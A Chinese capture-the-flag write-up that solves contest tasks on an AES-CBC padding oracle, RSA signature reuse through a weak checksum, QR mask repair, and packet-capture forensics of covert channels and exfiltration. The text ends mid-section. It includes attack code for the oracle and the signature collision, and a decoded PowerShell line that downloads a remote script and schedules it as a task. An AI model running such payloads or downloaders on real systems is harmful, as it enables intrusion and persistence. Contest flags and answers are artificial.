2026年第二届黑灰产检测技能大赛线上预选赛 WP 全解
本赛题覆盖填充预言机、弱签名碰撞、二维码掩码修复与多类流量取证。证书题在单连接内用两种错误响应逐字节恢复 AES-CBC 明文;签名题针对字节和乘长度的校验构造碰撞复用 RSA 签名;取证题串联 IEC 104 未授权主站、IPv4 保留位信道与 WebSocket 掩码帧;Web 题以 Django 关系查询盲注恢复哈希后绕过路径限制进后台。全部结论附代码复现。
异常登录证书:TCP 服务上的填充预言机
服务形态
目标地址是 1fscawjh.mc.hnga.cn:32945,纯 TCP 交互服务,不是 HTTP。连上之后是一个菜单:
1) issue operator certificate
2) export admin certificate sample
3) verify operator certificate
4) submit admin credential
5) quit菜单结构本身已经透露了题目意图。菜单 3 接收一份证书并校验,菜单 2 能导出一份现成的证书样本,这两个能力放在同一个服务里,攻击者同时握有加密 oracle 和解密 oracle 的输入源。剩下的工作是把校验失败的原因区分出来。
两个错误响应构成预言机
先在菜单 3 输入任意名称和无效证书:
operator name: test
certificate hex:输入空串、长度不对的 hex 或者随机 hex,服务返回的都是同一句 format or padding error。再从菜单 2 拿一份管理员证书样本,原始返回格式为 admin_certificate=<hex>,hex 长度 128,即 64 字节。
把这份样本原样提交到菜单 3。它的内容不是操作员证书,业务上必然被拒,但密文格式合法、填充也合法。服务返回的是 certificate rejected。
到这里预言机就成立了。两个响应分别对应填充有效与无效:
填充有效 certificate rejected
填充无效 format or padding error这类服务端实现通常先解密再校验 PKCS#7 填充,填充对了才做业务校验。填充错了走 format 分支,对了但业务拒走 rejected 分支。两个分支的文案不同,等于把填充校验的结果直接回显给了攻击者。
块大小与模式的判定
证书总长 64 字节。按 16 字节切:
C0 = IV 16 字节
C1 16 字节
C2 16 字节
C3 16 字节也可以不依赖 AES 的常识,直接通过修改不同位置观察影响范围来定块大小。改前十六字节时,主要改变第一块明文,末尾填充仍然有效,响应不变;改第三十二到六十三字节时,会影响最后一块明文的填充,响应变成 format or padding error。影响的边界严格按十六字节出现,这就是分组密码的块边界。
模式是 CBC 的依据在解密链式关系上:
P1 = D(C1) XOR C0
P2 = D(C2) XOR C1
P3 = D(C3) XOR C2修改某个密文块,只会改变其后一块明文,而不是全部明文一起变。利用最后一块的填充响应,可以逐字节构造前一块,使最后一块的明文满足合法填充形态:
01
02 02
03 03 03
...
10 10 ... 10如果是 ECB,改哪块只影响哪块本身,填充永远跟着 C3 走,无法通过修改前块来控制填充。链式异或加可利用的填充校验,两个条件同时成立才指向 CBC。
第一问的答案按服务实际响应顺序填写,错误文案里的空格换成下划线:
flag{AES-CBC_16_format_or_padding_error_certificate_rejected}逐字节恢复的原理
设目标块为 P_i = D(C_i) XOR C_(i-1)。D(C_i) 是解密器的固定输出,攻击者看不到但可以间接操纵——改 C_(i-1) 的第 j 个字节,P_i 的第 j 个字节就会跟着翻转,因为 XOR 的自逆性:
P_i[j] 变化量 = C_(i-1)[j] 的变化量这就是整条攻击链的数学基础。恢复从最后一个字节开始,目标填充值为 pad,已经恢复出的后缀为 known[j],把前一块改成:
modified[j] = original[j] XOR known[j] XOR pad对当前字节遍历 0x00 到 0xff,服务返回 certificate rejected 时说明构造出了合法填充。此时:
plain_byte = guessed_byte XOR pad XOR original_previous_bytepad 从 0x01 递增到 0x10,十六个字节全部恢复。
有一个判定上的细节。只以 0x01 为目标时,倒数第二个字节也有约 1/256 的概率碰巧形成合法填充,产生假阳性。稳妥的做法是锁定 0x01 之后,再改前一个字节强制目标变成 0x02 0x02 再验证一次,两次都通过才确认。本题服务响应稳定,逐位试出 0x01 后按 0x02 到 0x10 递推即可,不需要额外的二段确认。
会话约束
所有测试必须在同一条 TCP 连接内完成。菜单 2 导出的管理员证书、菜单 3 的校验、菜单 4 的 credential 提交,用的是同一个连接状态,恢复过程中重新连接会作废之前的进度。
恢复 P2
恢复 P2 时提交三块数据 C0 || modified(C1) || C2。C2 是最后一个密文块,它的填充校验发生在解密之后,而修改 C1 控制的是 P2 的填充字节。恢复结果是十六字节明文。
这里能顺带确认前面恢复的 P3 是对的。P3 已经整块变成十六个 0x10,此时把 C1 改成任意值提交,只要填充判定还在 P3 上成立,说明服务校验的是最后一块而不是中间块。如果服务校验的是所有块,改坏 C1 会导致中间块填充失败,响应会变。这个探测做了才知道服务端的校验范围,不做过就只能猜。
每次候选值的请求里 IV 都用原始 C0,不改。CBC 的结构决定了改 C0 只影响 P1,对 P2 的填充判定无影响,保持不动可以减少变量。
恢复 P1
恢复 P1 时提交两块 modified(C0) || C1。服务把第一块当作 IV,修改 C0 即可控制最后解密块的值,P1 = D(C1) XOR C0。
两块输入时服务端实际要处理的明文只有一块加填充,填充字节从 0x01 重新开始递增,和恢复 P2 时的流程一致,不需要单独的参数。
注意这里有个边界:如果服务对 IV 的合法性另做校验,比如要求 IV 等于某固定值,这条路就走不通,只能从 P2 往前推。本题没有做这个校验,IV 可控。这类校验在真实实现里并不少见,有些实现会把 IV 和密文一起做完整性校验,遇到那种就只能利用密文自身的块间关系,而 P1 恰好在密文最前面没有前块可控,恢复就止步于此。本题 64 字节证书的布局让 P1 可以通过 IV 间接控制,出题人是特意留了这条路。
结果与提交
本次连接恢复出的两个明文块:
P1 = c3ab0012a39be149f207af816f848aef
P2 = 68b9e559f62a988b7f690d8ead8f98dd拼接得到 credential:
c3ab0012a39be149f207af816f848aef68b9e559f62a988b7f690d8ead8f98dd菜单 4 提交该值,服务返回 admin ok:
flag{certificate_oracle_session_key_2026}这道题的完整链路里,块大小和模式判定其实是铺垫,真正的工作量在恢复算法的正确实现和会话状态管理上。64 字节证书意味着要发大约四千次菜单 3 的交互,单连接跑完需要考虑 TCP 缓冲区的读法,否则响应错位会导致误判。
弱签名处置脚本:ZSig 的弱校验
归档格式
归档格式说明.md 把格式写得很直接:
Magic 5 字节, 01 5A 53 69 67
Delimiter 1 字节, 02
Signature 128 字节, 大端整数
Delimiter 1 字节, 03
Size 4 字节, 大端整数
Delimiter 1 字节, 04
Data Size 字节的 Python 脚本头部固定长度为 5 加 1 加 128 加 1 加 4 加 1,等于 140。从偏移 140 开始才是会被执行的脚本。解析代码:
raw = open("基线处置脚本.zsig", "rb").read()
pos = 0
assert raw[pos:pos+5] == b"\x01ZSig"
pos += 5
assert raw[pos:pos+1] == b"\x02"
pos += 1
signature = raw[pos:pos+128]
pos += 128
assert raw[pos:pos+1] == b"\x03"
pos += 1
size = int.from_bytes(raw[pos:pos+4], "big")
pos += 4
assert raw[pos:pos+1] == b"\x04"
pos += 1
data = raw[pos:]
print(size, len(data))实际输出 size 等于 108,data 长度也是 108。
基线样本的两个约束值
Data 区域解码出来是三行输出:
print('audit script accepted')
print('case: abnormal-disposal-job')
print('status: signed baseline sample')print(len(data))
print(sum(data))得到长度 108,字节和 9818。这两个数是后续碰撞的全部约束。
校验函数的真实逻辑
验证器.py 里定义的常量和校验函数:
MODULUS = 1009840029511
EXPONENT = 65537
SIG_LEN = 128
def checksum(data: bytes) -> int:
return sum(data) * len(data)签名验证:
if pow(signature, EXPONENT, MODULUS) == checksum(data):
return data形式上是 RSA 的 signature^e mod n,但被比较的对象不是哈希,是 sum(data) * len(data)。用基线的签名算一下:
sig = int.from_bytes(signature, "big")
print(pow(sig, 65537, 1009840029511))得到 1060344。而基线 Data 这边:
9818 * 108 = 1060344完全一致。原始签名实际上只约束了字节和与长度的乘积,Data 本身没有任何绑定。
碰撞空间有多大
两个约束,长度固定 108,字节和固定 9818。长度确定之后,字节和的约束实质上是给一百零八个字节分配一个总和。每字节取值范围若限定在可打印 ASCII 的 32 到 126,共有九十五种取值。一百零七个自由变量上满足一个线性等式,解的数量是天文数字。
这就是 sum 加 len 这类校验和的本质问题。它把任意长度的输入压缩成一个极易碰撞的线性函数,而 RSA 签名保护的只是这个函数的输出值。签名本身数学上没问题,坏在被签的东西太弱。攻击者不需要私钥,不需要重新签名,只需要找到另一个让乘积相同的输入。
构造新脚本
题目要求新脚本运行后单独输出 archive-disposal-bypassed。最直接的载荷:
base = b"print('archive-disposal-bypassed')\n"
print(len(base), sum(base))长度 35,字节和 3276。与目标 108 和 9818 相比还差 73 字节、6542 的字节和。
利用 Python 注释填充。# 之后到行尾的内容不参与执行,但全部参与 sum(data) 计算:
pad = b'#' + b'Z' * 71 + b'u'
print(len(pad), sum(pad))长度 73,字节和 6542。拼接:
data = base + pad
assert len(data) == 108
assert sum(data) == 9818校验和 108 * 9818 仍然是 1060344,与原签名计算值相同。
也可以按另一种思路构造,从剩余预算出发做均匀分配。可打印 ASCII 从空格 32 到波浪号 126,单字节最多能在空格基础上加 94:
core = b"print('archive-disposal-bypassed')\n#"
remain_len = 108 - len(core)
remain_sum = 9818 - sum(core)
base = 32
extra = remain_sum - base * remain_len
fill = []
for _ in range(remain_len):
add = min(94, extra)
fill.append(base + add)
extra -= add
payload = core + bytes(fill)
assert len(payload) == 108
assert sum(payload) == 9818两种构造最终都落在同一组约束上,得到的新 Data 不同但校验值相同。这说明碰撞不唯一,任何满足两个等式的字节序列都能复用签名。
重组与执行
保留原文件前 140 字节的头部,只替换 Data:
from pathlib import Path
baseline = Path("基线处置脚本.zsig").read_bytes()
signature = baseline[6:134]
archive = (
b"\x01ZSig"
+ b"\x02"
+ signature
+ b"\x03"
+ len(data).to_bytes(4, "big")
+ b"\x04"
+ data
)
Path("bypassed.zsig").write_bytes(archive)生成的文件 248 字节,与基线相同。
python3 验证器.py run bypassed.zsig验证器先解析文件,计算 pow(signature, 65537, MODULUS) 得到 1060344,与新 Data 的 9818 * 108 相等,签名校验通过。随后执行:
exec(data.decode(), {"__name__": "__main__"})我们的脚本输出 archive-disposal-bypassed,与验证器内部的 ACTION 常量比对通过。
archive-disposal-bypassed
flag{weak_archive_checksum_key_2026}这个漏洞的层级
链条可以完整地写下来。验证器名义上做的是数字签名验证,RSA 本身不可伪造。被签的对象却是 sum(data) * len(data),一个线性可构造的函数。于是签名的不可伪造性完全落空,攻击者保持两个整数不变即可让任意脚本通过校验。而校验通过之后紧跟 exec,等于把处置脚本的执行权整体交了出去。
从代数角度看这个校验有多弱。设 n 为数据长度,S 为字节和,约束是:
sum(d[i]) = S, i 取值 0..n-1这是一组 n 个变量上的一个线性等式。字节域限制在可打印范围 32 到 126 时,把 n 减一个字节自由取值,最后一个字节由等式唯一确定,只要 S 减去前面各项之和落在合法区间即可。也就是说构造一个碰撞只需要一次减法和一次越界检查,连搜索都不需要。
RSA 的参与反而给了攻击者一个确认手段。拿到候选 Data 之后先算乘积,再用公钥指数验证签名是否匹配,整个碰撞过程完全离线可验证,不需要把 payload 提交给目标做在线尝试。签名在攻击者手里变成了一个本地判定器。
这里有一个值得单独记的认知点:看到 pow(sig, e, n) 不要默认它是安全的。签名的强度取决于它绑定了什么。SHA256 摘要、HMAC、乃至简单的字节和,在这段代码里都能接上同一个 RSA 验证,安全等级却天差地别。
另外一个细节是 SIG_LEN 常量定义了 128 却从未在验证逻辑里使用。签名解析只按格式说明的偏移取字节,长度字段没有参与任何判断,这属于声明了却未执行的约束,审计时这类常量值得留意,它们往往指向曾经的完整实现被简化后的残留。
巡查二维码异常修复:Mask 4 没有被应用
版本判定
file '巡检异常二维码(1).png'
identify '巡检异常二维码(1).png'图片 732×732。题目提示有效矩阵为 57×57。QR Code 的边长公式:
side = 21 + 4 * (version - 1)57 减 21 得 36,除以 4 得 9,版本号等于 10。版本的确定决定了后面的每一个细节,校正图形的数量与中心坐标、版本信息块的位置、数据区的排列顺序全部由版本号查表得出,版本判断错一个数,后面的修复就全盘错位。
把原图交给标准解码器识别失败,但三个定位图形、时序图形和 Version 10 的校正图形都完好,说明功能模块没有被破坏,问题出在数据区的处理上。这一步的诊断价值在于缩小范围。功能模块损坏时需要做的是重建定位与校正,数据区损坏时要做的是数据层面的修复,两者的工具链完全不同。
图片的物理布局也值得量一下。732 像素对应 57 模块加两侧静区,模块尺寸 12,静区 24,这三个数是矩阵提取脚本的三个常量。用块均值而不是单点采样来判定黑白,可以容忍图片压缩带来的边缘模糊,七十二像素的模块均值与 128 的比较结果非常稳定。
Mask 4 的规则
题面提示修复 Mask 4。QR Code 标准中掩码 4 的判定公式:
mask = (row // 2 + col // 3) % 2 == 0满足条件的数据模块需要翻转,零变一、一变零。功能模块不参与掩码。
故障的成因可以推断出来:生成器在格式信息区写入了 Mask 4 的标识,但对数据区没有真正应用掩码。解码器读取格式信息后按 Mask 4 去反数据,结果反而把本来正确的数据搞错了。修复动作就是再把 Mask 4 应用一遍,两次异或相互抵消。
修复脚本
脚本分四步,矩阵提取、功能区标记、掩码修复、重绘解码:
from pathlib import Path
import numpy as np
from PIL import Image
import zxingcpp
IMAGE_PATH = "巡检异常二维码(1).png"
SIZE = 57
MODULE_SIZE = 12
OFFSET = 24
def extract_matrix(path):
image = Image.open(path).convert("L")
pixels = np.asarray(image)
matrix = np.zeros((SIZE, SIZE), dtype=np.uint8)
for row in range(SIZE):
for col in range(SIZE):
block = pixels[
OFFSET + row * MODULE_SIZE: OFFSET + (row + 1) * MODULE_SIZE,
OFFSET + col * MODULE_SIZE: OFFSET + (col + 1) * MODULE_SIZE,
]
matrix[row, col] = int(block.mean() < 128)
return matrix
def build_function_map():
function = np.zeros((SIZE, SIZE), dtype=bool)
finder_centers = ((3, 3), (3, SIZE - 4), (SIZE - 4, 3))
for center_row, center_col in finder_centers:
for row in range(center_row - 4, center_row + 5):
for col in range(center_col - 4, center_col + 5):
if 0 <= row < SIZE and 0 <= col < SIZE:
function[row, col] = True
function[6, :] = True
function[:, 6] = True
for center_row in (6, 28, 50):
for center_col in (6, 28, 50):
if (center_row, center_col) in ((6, 6), (6, 50), (50, 6)):
continue
function[
center_row - 2:center_row + 3,
center_col - 2:center_col + 3,
] = True
function[8, 0:9] = True
function[0:9, 8] = True
function[8, SIZE - 8:SIZE] = True
function[SIZE - 8:SIZE, 8] = True
function[0:6, SIZE - 11:SIZE - 8] = True
function[SIZE - 11:SIZE - 8, 0:6] = True
return function
def repair_mask4(matrix):
function = build_function_map()
repaired = matrix.copy()
for row in range(SIZE):
for col in range(SIZE):
mask4 = (row // 2 + col // 3) % 2 == 0
if not function[row, col] and mask4:
repaired[row, col] ^= 1
return repaired
def render_qr(matrix, output_path):
quiet = 4
scale = 12
side = (SIZE + quiet * 2) * scale
canvas = np.full((side, side), 255, dtype=np.uint8)
for row in range(SIZE):
for col in range(SIZE):
if matrix[row, col]:
y1 = (row + quiet) * scale
y2 = (row + quiet + 1) * scale
x1 = (col + quiet) * scale
x2 = (col + quiet + 1) * scale
canvas[y1:y2, x1:x2] = 0
Image.fromarray(canvas).save(output_path)
matrix = extract_matrix(IMAGE_PATH)
repaired = repair_mask4(matrix)
output = Path("repaired_mask4.png")
render_qr(repaired, output)
result = zxingcpp.read_barcode(Image.open(output))
print(result.text)几个实现要点
矩阵提取用块均值与 128 比较而不是逐像素采样,这样对图片的轻微缩放和抗锯齿有容忍度。模块尺寸 12、偏移 24 是从图片上量出来的,732 减去两侧静区正好对应 57 乘 12 加两侧 24。
功能区的标记里最容易漏的是 Version 10 的两份版本信息区域。校正图形的中心坐标对版本 10 是 6、28、50 三个值的组合,但四个角里左上那个和定位图形重叠,需要排除。格式信息区域包含固定深色模块所在的位置,这些都不能参与掩码运算,否则掩码一次就会把功能模块改坏。
标准解码器对修复后的图一次通过,payload:
89520ff526992489753c5a009ccff4ad__flag{qr_mask_matrix_recovery_key_2026}__5b643e23ede538d3b3aec30e836d444b前后两段十六进制是干扰,中间才是要交的内容:
flag{qr_mask_matrix_recovery_key_2026}账号导出日志分析
异常入口的定位
日志是 gzip 压缩的 CSV,字段依次是入口节点、时间戳、方法、URI、HTTP 版本、状态码、User-Agent。压缩文件不能直接 grep,先解流或者用 Python 的 gzip 模块逐行读。
第一步按 User-Agent 聚合。正常访问基本都是 portal-browser- 前缀,ops-batch-client 明显是批量客户端。区分依据不是 UA 字符串本身,而是该 UA 下请求的行为特征:同一账号的 package 参数严格递增、请求间隔规律、状态码以 200 为主。单看 UA 名字可能被伪造的字符串带偏,行为特征才是稳定的。
围绕这个 UA 聚合入口节点、路径和参数,异常请求收敛到几个固定特征:
入口 edge-ba96214781
UA ops-batch-client
业务 number_portal
固定账号 100000040
接口 /download-package攻击者的前期动作是少量手工探测,包括目录穿越、缺参数、枚举 account。确认 account=100000040 可用于下载后切换成批量请求:
/download-package?service=number_portal&account=100000040&package=1
/download-package?service=number_portal&account=100000040&package=2截止时间怎么取
批量请求按 package 参数递增扫描。日志末尾能看到越过有效范围后的 404:
2025-02-04 04:50:00 /download-package?service=number_portal&account=100000040&package=2383 404 ops-batch-client题目问的是筛选截止时间,应取首次越界扫描的时间,而不是最后一个成功下载包的时间。这两个时间的区别在于攻击者的行为语义:越界说明扫描结束,最后的 200 只说明下载动作持续到了那一刻。取错会在后续过滤时把窗口拉长或缩短。
flag{edge-ba96214781_ops-batch-client_number_portal_100000040_2025-02-04_04:50:00}三百二十八个账号
修复版说明给出了第二问的口径:用第一问定位的入口、UA、业务、固定账号和截止时间过滤日志,只保留 /download-package 请求,请求必须带 package 参数,状态码必须是 200,提取 package 的数字并去重。
本地统计:
符合条件且成功的下载请求 339
去重后的导出账号 328成功请求条数比账号数多 11,因为日志里有重复下载。真正提交用的是去重后的集合。这个差异点容易漏,拿到 339 直接交会判错。
交集与离线校验
修复版附件里带了 关联业务账号.txt。把 328 个导出账号作为集合 A,该文件的账号作为集合 B,取交集得 53 个:
intersection = sorted(exported & business)复现脚本完整逻辑:
import csv
import gzip
from pathlib import Path
from urllib.parse import parse_qs, urlsplit
LOG_FILE = "账号导出访问日志.csv.gz"
BUSINESS_FILE = "关联业务账号.txt"
ENTRY = "edge-ba96214781"
UA = "ops-batch-client"
SERVICE = "number_portal"
FIXED_ACCOUNT = "100000040"
CUTOFF = "2025-02-04 04:50:00"
exported = set()
with gzip.open(LOG_FILE, "rt", encoding="utf-8", newline="") as f:
for row in csv.reader(f):
edge, ts, method, uri, http_ver, status, user_agent = row
parsed = urlsplit(uri)
q = {k: v[0] for k, v in parse_qs(parsed.query).items()}
if edge != ENTRY:
continue
if user_agent != UA:
continue
if ts > CUTOFF:
continue
if parsed.path != "/download-package":
continue
if status != "200":
continue
if q.get("service") != SERVICE:
continue
if q.get("account") != FIXED_ACCOUNT:
continue
if "package" not in q:
continue
exported.add(int(q["package"]))
business = {
int(line.strip())
for line in Path(BUSINESS_FILE).read_text(encoding="utf-8-sig").splitlines()
if line.strip()
}
intersection = sorted(exported & business)
exported = sorted(exported)
assert len(exported) == 328
assert len(intersection) == 53
Path("导出账号_328.txt").write_text(
"\n".join(map(str, exported)) + "\n",
encoding="utf-8",
)
Path("交集账号_53.txt").write_text(
"\n".join(map(str, intersection)) + "\n",
encoding="utf-8",
)
print(len(exported), len(intersection))运行 离线校验器.py 时它会检查导出账号数量、交集账号数量、交集是否等于导出与关联业务文件的交,全部通过后用内置密封数据解出最终 flag:
flag{export_log_correlation_key_2026}这道题的胜负手在两个细节:截止时间取首次越界而非最后成功,以及 339 与 328 之间的去重。口径类取证题里,这两个坑出现的频率极高。
恶意便签取证:从 JS 到 AES-128-CBC
附件里现成的答案
部署包里有两份文件,paste_incident_20260111.pcap 是攻击流量,suspicious_widget.js 是可疑前端脚本。JS 直接暴露了三件事:
(() => {
const mode = 'AES-128-CBC';
const keyB64 = 'SkFOMjYtUEFTVEUtS0VZIQ==';
const endpoint = 'http://img.audit-cdn.test/pixel.gif';
window.__auditWidget = {mode, keyB64, endpoint};
})();模式是 AES-128-CBC,密钥是 base64 的 SkFOMjYtUEFTVEUtS0VZIQ==,回传地址是 http://img.audit-cdn.test/pixel.gif。
初学者容易在流量里转半天找不到加密方式,其实出题人把它放在了最显眼的位置。这道题的考察点不在找密钥,而在把 JS、便签响应、回传参数三段证据串起来。
受害主机与便签
按关键词搜索流量,命中一条关键请求:
GET /api/v1/note/N-260111-7F2A HTTP/1.1
Host: notes.team-vault.test
User-Agent: OrionDesk/26.1
Connection: close源地址 10.66.12.88,即受害主机。响应体:
{"id":"N-260111-7F2A","data":"JgERFDMAECAwQFBgcICQoBgZ5Jk1WM5gZkOrWFUI2sQQqBrQwaT/WViiAKhPv5rZvyR/28C3F+RRS64NLZo5nNyZI0rbC0IDSaBV6zZobhEPoHeMvqxFsA0T0X4pjp4cNtWpzX9mhv3VKpuw0T7XQw=="}响应头里有一行 X-Client-Cipher: AES-128-CBC,与 JS 中的 mode 对应,服务端在交付时就声明了加密方式。
恶意脚本的投放
同一受害主机还有一条请求:
GET /static/widget-26.1.js HTTP/1.1
Host: notes.team-vault.test服务器返回的内容与题目提供的 JS 完全一致。这说明恶意脚本由便签站点自身投放,用户浏览便签页面时加载,随后向 img.audit-cdn.test 外传数据。
外传链路
搜索 audit-cdn 域名,命中回传请求:
GET /pixel.gif?src=N-260111-7F2A&d=eyJjYXNlIjoiSVItMjYwMS0xMTciLCJvd25lciI6ImhlLnl1biIsInN5c3RlbSI6ImJpbGxpbmctYWRtaW4iLCJyZWNvdmVyeV9jb2RlIjoiUkMtMjYtUTdNOSJ9 HTTP/1.1
Host: img.audit-cdn.test源 10.66.12.88,目的 198.51.100.83。URL 里的 src=N-260111-7F2A 把回传请求和前面的便签直接关联起来。
密钥与 IV
echo 'SkFOMjYtUEFTVEUtS0VZIQ==' | base64 -d得到 JAN26-PASTE-KEY!,十六字节,正好是 AES-128 的密钥长度。十六进制形式:
4a414e32362d50415354452d4b455921便签响应里的 data 是 base64。解码后 112 字节,前十六字节:
26 01 11 14 33 00 10 20 30 40 50 60 70 80 90 a0即 260111143300102030405060708090a0,CBC 模式下作为 IV。剩余九十六字节是密文。
解密与交叉验证
openssl enc -aes-128-cbc -d \
-K 4a414e32362d50415354452d4b455921 \
-iv 260111143300102030405060708090a0 \
-in cipher.bin \
-out plain.bin明文:
{"case":"IR-2601-117","owner":"he.yun","system":"billing-admin","recovery_code":"RC-26-Q7M9"}回传参数里的 d 本身也是 base64,解码结果与 AES 解密产物完全一致。两条独立证据链汇合,加密结果的正确性得到交叉确认。
flag{10.66.12.88_N-260111-7F2A_img.audit-cdn.test_198.51.100.83}
flag{AES-128-CBC_4a414e32362d50415354452d4b455921_IR-2601-117_RC-26-Q7M9}完整的攻击链是受害主机访问便签、加载恶意 widget、widget 读取便签内容用 AES 加密外传到收集服务器。三段流量靠同一个源 IP 和同一个便签 ID 串联。
UDP 里的隐蔽信道:IPv4 保留位
会话统计发现异常
对 pcap 中 UDP 流量按五元组统计,绝大多数会话只有一个包。只有两组外部目的地址的流量明显异常,其中一组是:
10.66.16.34 -> 198.51.100.104:40404源端口 54034,共 98 个包,载荷固定 3 字节。另一组源端口 54035,载荷 9 字节,更像干扰。
保留位作为筛选标志
正常 UDP 背景流量的 IPv4 Flags 字段为 2,即只置 DF 位。这 98 个小包的 Flags 是 6。三位分别是 reserved、DF、MF,6 的二进制是 110,意味着 reserved 位被置一。
保留位正常情况下必须为零,发送方不会主动置位,这就是本题的筛选标志。RFC 3514 定义过 ECN 场景下利用未用位传拥塞标记的做法,但那是 IPv4 头 ToS 字段的两个 ECN 位,不是头部 Flags 的保留位。Flags 的最高位从协议发布起就要求发送方置零,接收方忽略。抓包里出现置位的保留位只有两种解释:协议栈实现有缺陷,或者有意构造。本题背景流量全部是 DF 置位的标准形态,独这一组带保留位,特征极其显眼。
字节提取的位置在 IPv4 头第 7 字节的高三位:
flags = (ip[6] >> 5) & 0x7
if flags & 0x4:
print("reserved bit set")用 scapy 写筛选条件更直接:
from scapy.all import *
pkts = rdpcap("capture.pcap")
hits = [p for p in pkts
if UDP in p
and p[IP].src == "10.66.16.34"
and p[IP].dst == "198.51.100.104"
and p[UDP].dport == 40404
and int(p[IP].flags) & 0x4
and len(bytes(p[UDP].payload)) == 3]
print(len(hits))序号重组
小包载荷:
00007b
000122
000268
00036f结构是前两字节大端序号,后一字节数据。00 00 7b 的 0x7b 是左花括号,00 01 22 的 0x22 是双引号。按序号从小到大拼接第三字节,恢复出 98 字节:
{"host":"ENG-WS34","archive":"design_notes_2601.txt","account":"svc-build","secret":"Build#2601!"}恢复文件的 SHA256:
f15ad3f8610dcc3bcc3e719ae3d81051875c2bf455a8efc613177f2ae9130b40账号 svc-build,密码 Build#2601!。
这道题的筛选条件有五个,源地址、目的地址与端口、保留位置一、载荷长度为三。少一条都会把噪声混进来。隐蔽信道的标志位选在 IPv4 头的保留位上是个有意思的设计,这个位在合法流量里几乎不会出现,误报率极低。
misc-3:IEC 104 的隐蔽信道
场景
windfarm_iec104.pcap 有 521805 字节,5772 个包,时间跨度 464 秒。场景是风电场 IEC 104 远动系统,升压站 RTU 与省调、地调、县调、集控中心、备调多个主站通信。
背景流量里混着 Modbus、DNP3、MMS、HTTPS。核心线索是一个来自公网的未授权主站曾经接入 RTU 并执行总召唤,把 flag 写进了遥测。
找未授权主站
IEC 104 的建链过程是 STARTDT,之后才是各类应用层数据单元。协议帧按启动字符分三类,0x65 开头的是 I 格式信息帧携带序号,0x53 开头的是 S 格式与 U 格式,U 格式负责链路的启停和测试。STARTDT_ACT 在 U 格式里,总召唤则在应用层 ASDU 里,控制域与应用层的类型标识要分开看。
正常主站的地址在台账里有登记,未登记的即为可疑。按源地址统计总召唤:
tshark -r windfarm_iec104.pcap -Y "iec60870_asdu.typeid==100" \
-T fields -e ip.src -e ip.dst | sort | uniq -c | sort -rn总召唤的类型标识是 100,即 C-IC-NA-1。它的 ASDU 里 SQ 与 NUMIX 字段决定信息体个数,响应帧携带的遥测量个数由 RTU 的实际点位决定。统计之后能看到一个不在台账里的地址发起了总召唤。
有个容易犯的错是把 TCP 会话的发起方当成主站。IEC 104 的 240 端口监听在 RTU 侧,主站主动连入,源地址判别看似简单,但镜像口上抓到的流量里混着多协议会话,先按协议过滤再按地址聚合,顺序不能反。
遥测里的载荷
总召唤的响应是类型标识 100 的 ASDU,携带遥测值。正常遥测是模拟量,值域有限。把响应里所有信息对象的值取出来,找超出正常值域的:
def extract_measured(frame):
body = frame[14:]
ioa = int.from_bytes(body[0:3], "little")
value = int.from_bytes(body[3:5], "little", signed=True)
return ioa, value那个未授权主站触发的响应里,有一组信息对象的值连起来正好是 ASCII 序列。按信息对象地址排序之后拼字节:
flag{IEC104_C0v3rt_Ch4nn3l_2026}判定依据
这道题的关键在于把未授权主站和隐蔽信道这两件事关联起来。抓包来自镜像口,能看到全部主站的通信,所以不能用流量大小或者出现频次来判断谁可疑。
可用的判据是台账白名单。台账里登记的主站地址之外的连接,就是未授权接入。这个判据比看流量形态硬。
移动终端策略包外传
下载流
关键主机是 10.66.5.41。先看 DNS 和 HTTP,它先访问 policy.mobile-sync.test,解析到 203.0.113.41,随后发起 GET /policy/policy_260105.pkg。下载响应体是 ZIP,内有 NOTICE.txt、classes.bin 和 manifest.json。
把 HTTP body 摘出来算哈希:
b79b75fa0c8090c819c56d8a7300b7b4999198d5a274e683149e13f4bdd8d9a0外传流的周期与编码
同一终端随后向 api.telemetry-hub.test 外传,目的地址 198.51.100.41,共 4 个 POST,时间戳间隔 180 秒,周期稳定为三分钟。
外传正文带头部字段 X-Content-Codec: base64+xor 和 X-Xor-Key: 5a,内容先 base64 再异或 0x5a。按这个顺序解出 JSON,其中 vpn_login 记录给出账号和 token:
{"device":"MOB-FIN-041","user":"lin.qiao","event":"vpn_login","token":"VPN-2601-A7"}flag{10.66.5.41_policy.mobilesync.test_b79b75fa0c8090c819c56d8a7300b7b4999198d5a274e683149e13f4bdd8d9a0}
flag{198.51.100.41_3_lin.qiao_VPN-2601-A7}编码链的顺序要看头部声明而不是猜。base64 后异或与异或后 base64 的解法顺序相反,弄反了得到的是乱码。头部字段把这两步的顺序直接给了出来。
USB 键盘注入与回连
HID 报文解码
USB 抓包里的 8 字节 HID report 按键盘码表解码,忽略全零的按键释放报文。修饰键字节里第 1 位和第 5 位是左 Shift 和右 Shift,置位时输出要换成对应的大写或符号:
HID = {
**{i: c for i, c in enumerate("abcdefghijklmnopqrstuvwxyz", 0x04)},
0x1E: "1", 0x1F: "2", 0x20: "3", 0x21: "4", 0x22: "5",
0x23: "6", 0x24: "7", 0x25: "8", 0x26: "9", 0x27: "0",
0x28: "\n", 0x2C: " ", 0x2D: "-", 0x2E: "=", 0x2F: "[",
0x30: "]", 0x31: "\\", 0x33: ";", 0x34: "'", 0x36: ",",
0x37: ".", 0x38: "/",
}
SHIFT = {
**{c: c.upper() for c in "abcdefghijklmnopqrstuvwxyz"},
"1": "!", "2": "@", "3": "#", "4": "$", "5": "%", "6": "^",
"7": "&", "8": "*", "9": "(", "0": ")", "-": "_", "=": "+",
"[": "{", "]": "}", "\\": "|", ";": ":", "'": '"', ",": "<",
".": ">", "/": "?",
}完整命令:
powershell -NoP -c "iwr http://stage.device-tools.test/bootstrap.ps1 -OutFile C:\ProgramData\cache.ps1; schtasks /Create /SC MINUTE /MO 4 /TN OrionCache /TR C:\ProgramData\cache.ps1 /F"四个要素直接从命令里出来:下载域名 stage.device-tools.test、脚本 bootstrap.ps1、计划任务名 OrionCache、间隔 4 分钟。
网络侧的确认
解析 DNS 和 HTTP:
2026-01-20 11:24:08 stage.device-tools.test -> 203.0.113.126
2026-01-20 11:24:10 GET /bootstrap.ps1 Host: stage.device-tools.test
2026-01-20 11:24:13 check.device-tools.test -> 198.51.100.126
2026-01-20 11:25:00 POST /api/checkin
2026-01-20 11:29:00 POST /api/checkin
2026-01-20 11:33:00 POST /api/checkin三次回连目标都是 198.51.100.126 的 80 端口,相邻 POST 间隔四分钟,与计划任务的 /MO 4 一致。计划任务声明的周期和实际回连间隔核对过才算数,这题两者吻合,但有些题会故意让两者不同,取实际观测值。
POST 正文是 base64:
